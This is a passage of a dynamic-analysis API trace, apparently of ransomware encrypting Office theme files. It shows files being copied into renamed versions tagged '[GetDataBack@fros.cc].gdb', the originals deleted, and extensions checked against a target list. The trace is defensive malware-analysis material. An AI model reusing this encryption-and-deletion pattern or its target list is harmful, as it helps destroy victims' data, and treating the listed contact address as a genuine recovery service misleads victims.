liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.417] GetLastError () returned 0x0 [0125.417] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x47ed, lpOverlapped=0x0) returned 1 [0125.703] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x47f0, lpOverlapped=0x0) returned 1 [0125.704] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0125.704] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0125.704] SetEndOfFile (hFile=0x204) returned 1 [0125.705] CloseHandle (hObject=0x204) returned 1 [0125.705] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.705] SetEndOfFile (hFile=0x1ec) returned 1 [0125.705] CloseHandle (hObject=0x1ec) returned 1 [0125.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.706] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0125.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.706] lstrlenW (lpString=".doc") returned 4 [0125.706] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.706] lstrlenW (lpString=".docx") returned 5 [0125.706] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.706] lstrlenW (lpString=".pdf") returned 4 [0125.706] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.706] lstrlenW (lpString=".xls") returned 4 [0125.706] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.706] lstrlenW (lpString=".xlsx") returned 5 [0125.706] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.706] lstrlenW (lpString=".ppt") returned 4 [0125.706] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.706] lstrlenW (lpString=".zip") returned 4 [0125.706] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.706] lstrlenW (lpString=".rar") returned 4 [0125.706] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.706] lstrlenW (lpString=".bz2") returned 4 [0125.706] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.706] lstrlenW (lpString=".7z") returned 3 [0125.707] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".dbf") returned 4 [0125.707] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".1cd") returned 4 [0125.707] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".jpg") returned 4 [0125.707] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".doc") returned 4 [0125.707] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString=".docx") returned 5 [0125.707] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.707] lstrlenW (lpString=".pdf") returned 4 [0125.707] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString=".xls") returned 4 [0125.707] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.707] lstrlenW (lpString=".xlsx") returned 5 [0125.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.707] lstrlenW (lpString=".ppt") returned 4 [0125.707] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".zip") returned 4 [0125.707] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.707] lstrlenW (lpString=".rar") returned 4 [0125.707] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.707] lstrlenW (lpString=".bz2") returned 4 [0125.707] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString=".7z") returned 3 [0125.707] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".dbf") returned 4 [0125.707] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".1cd") returned 4 [0125.707] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0125.707] lstrlenW (lpString=".jpg") returned 4 [0125.707] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.708] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.708] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.708] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1439) returned 1 [0125.708] CloseHandle (hObject=0x1ec) returned 1 [0125.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0125.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.708] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.708] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.090] GetLastError () returned 0x0 [0127.090] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x59f, lpOverlapped=0x0) returned 1 [0127.102] WriteFile (in: hFile=0x200, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.103] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0127.103] WriteFile (in: hFile=0x200, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0127.103] SetEndOfFile (hFile=0x200) returned 1 [0127.103] CloseHandle (hObject=0x200) returned 1 [0127.103] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.103] SetEndOfFile (hFile=0x1ec) returned 1 [0127.104] CloseHandle (hObject=0x1ec) returned 1 [0127.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.104] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0127.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.105] lstrlenW (lpString=".doc") returned 4 [0127.105] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.105] lstrlenW (lpString=".docx") returned 5 [0127.105] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.105] lstrlenW (lpString=".pdf") returned 4 [0127.105] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.105] lstrlenW (lpString=".xls") returned 4 [0127.105] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.105] lstrlenW (lpString=".xlsx") returned 5 [0127.105] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.105] lstrlenW (lpString=".ppt") returned 4 [0127.105] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.105] lstrlenW (lpString=".zip") returned 4 [0127.105] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.105] lstrlenW (lpString=".rar") returned 4 [0127.105] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.105] lstrlenW (lpString=".bz2") returned 4 [0127.105] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.105] lstrlenW (lpString=".7z") returned 3 [0127.105] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.105] lstrlenW (lpString=".dbf") returned 4 [0127.106] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.106] lstrlenW (lpString=".1cd") returned 4 [0127.106] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.106] lstrlenW (lpString=".jpg") returned 4 [0127.106] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.106] lstrlenW (lpString=".doc") returned 4 [0127.106] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.106] lstrlenW (lpString=".docx") returned 5 [0127.106] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.106] lstrlenW (lpString=".pdf") returned 4 [0127.106] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.106] lstrlenW (lpString=".xls") returned 4 [0127.106] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.106] lstrlenW (lpString=".xlsx") returned 5 [0127.106] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.106] lstrlenW (lpString=".ppt") returned 4 [0127.106] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.106] lstrlenW (lpString=".zip") returned 4 [0127.106] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.106] lstrlenW (lpString=".rar") returned 4 [0127.106] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.106] lstrlenW (lpString=".bz2") returned 4 [0127.106] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.106] lstrlenW (lpString=".7z") returned 3 [0127.106] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.106] lstrlenW (lpString=".dbf") returned 4 [0127.106] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.107] lstrlenW (lpString=".1cd") returned 4 [0127.107] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0127.107] lstrlenW (lpString=".jpg") returned 4 [0127.107] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.107] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0127.107] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0127.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0127.107] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=53115) returned 1 [0127.107] CloseHandle (hObject=0x1ec) returned 1 [0127.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0127.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0127.108] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.108] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.108] GetLastError () returned 0x0 [0127.108] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xcf7b, lpOverlapped=0x0) returned 1 [0127.117] WriteFile (in: hFile=0x200, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xcf80, lpOverlapped=0x0) returned 1 [0127.119] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0127.119] WriteFile (in: hFile=0x200, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0127.119] SetEndOfFile (hFile=0x200) returned 1 [0127.120] CloseHandle (hObject=0x200) returned 1 [0127.120] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.120] SetEndOfFile (hFile=0x1ec) returned 1 [0127.121] CloseHandle (hObject=0x1ec) returned 1 [0127.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.121] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0127.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString=".doc") returned 4 [0127.122] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.122] lstrlenW (lpString=".docx") returned 5 [0127.122] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.122] lstrlenW (lpString=".pdf") returned 4 [0127.122] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.122] lstrlenW (lpString=".xls") returned 4 [0127.122] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.122] lstrlenW (lpString=".xlsx") returned 5 [0127.122] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.122] lstrlenW (lpString=".ppt") returned 4 [0127.122] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString=".zip") returned 4 [0127.122] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.122] lstrlenW (lpString=".rar") returned 4 [0127.122] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.122] lstrlenW (lpString=".bz2") returned 4 [0127.122] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.122] lstrlenW (lpString=".7z") returned 3 [0127.122] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString=".dbf") returned 4 [0127.122] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString=".1cd") returned 4 [0127.122] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString=".jpg") returned 4 [0127.122] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.122] lstrlenW (lpString=".doc") returned 4 [0127.123] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.123] lstrlenW (lpString=".docx") returned 5 [0127.123] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.123] lstrlenW (lpString=".pdf") returned 4 [0127.123] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.123] lstrlenW (lpString=".xls") returned 4 [0127.123] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.123] lstrlenW (lpString=".xlsx") returned 5 [0127.123] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.123] lstrlenW (lpString=".ppt") returned 4 [0127.123] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.123] lstrlenW (lpString=".zip") returned 4 [0127.123] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.123] lstrlenW (lpString=".rar") returned 4 [0127.123] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.123] lstrlenW (lpString=".bz2") returned 4 [0127.123] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.123] lstrlenW (lpString=".7z") returned 3 [0127.123] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.123] lstrlenW (lpString=".dbf") returned 4 [0127.123] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.123] lstrlenW (lpString=".1cd") returned 4 [0127.123] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0127.123] lstrlenW (lpString=".jpg") returned 4 [0127.123] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.123] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0127.123] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0127.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.797] GetFileSizeEx (in: hFile=0x220, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=31975) returned 1 [0127.797] CloseHandle (hObject=0x220) returned 1 [0127.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0127.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.797] SetFilePointerEx (in: 